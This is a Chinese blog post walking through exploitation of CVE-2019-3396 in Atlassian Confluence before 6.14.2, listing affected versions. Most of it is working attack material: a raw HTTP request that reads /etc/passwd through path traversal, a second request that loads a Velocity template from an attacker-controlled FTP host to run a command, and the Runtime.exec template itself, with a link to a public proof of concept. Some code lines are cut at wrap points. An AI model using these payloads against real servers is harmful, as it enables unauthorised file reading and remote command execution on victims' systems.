链滴

Confluence 路径穿越和命令执行

作者：Mrq123

原文链接：https://ld246.com/article/1615986629415

来源网站：链滴

1.漏洞简介

Atlassian Confluence是企业广泛使用的wiki系统，其6.14.2版本前存在一处未授权的目录穿越漏洞通过该漏洞，攻击者可以读取任意文件，或利用Velocity模板注入执行任意命令。

2.影响版本

Confluence 1.*.*、2.*.*、3.*.*、4.*.*、5.*.*

Confluence 6.0.*、6.1.*、6.2.*、6.3.*、6.4.*、6.5.*

Confluence 6.6.* < 6.6.12

Confluence6.7.*、6.8.*、6.9.*、6.10.*、6.11.*

Confluence 6.12.* < 6.12.3

Confluence 6.13.* < 6.13.3

Confluence 6.14.* < 6.14.2

3.利用过程

3.2路径穿越

payload：

```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: XX.XX.XX.XX:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://XX.XX.XX.XX:8090/pages/resumedraft.action?draftId=786457&draftShareId=0
6b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 178

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddle
.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}
```

原文链接：Confluence 路径穿越和命令执行

3.2命令执行

```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: XX.XX.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://xx.xx.xx.xx:8090/pages/resumedraft.action?draftId=786457&draftShareId=056
55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 210

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddle
.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://xx.xx.xx.xx:21/rce.vm","c
mmand":"ifconfig"}}}
```

rce.vm放到ftp中

```
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(
ull,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invo
e($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStrea
")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end
```

具体操作在：https://github.com/jas502n/CVE-2019-3396

原文链接：Confluence 路径穿越和命令执行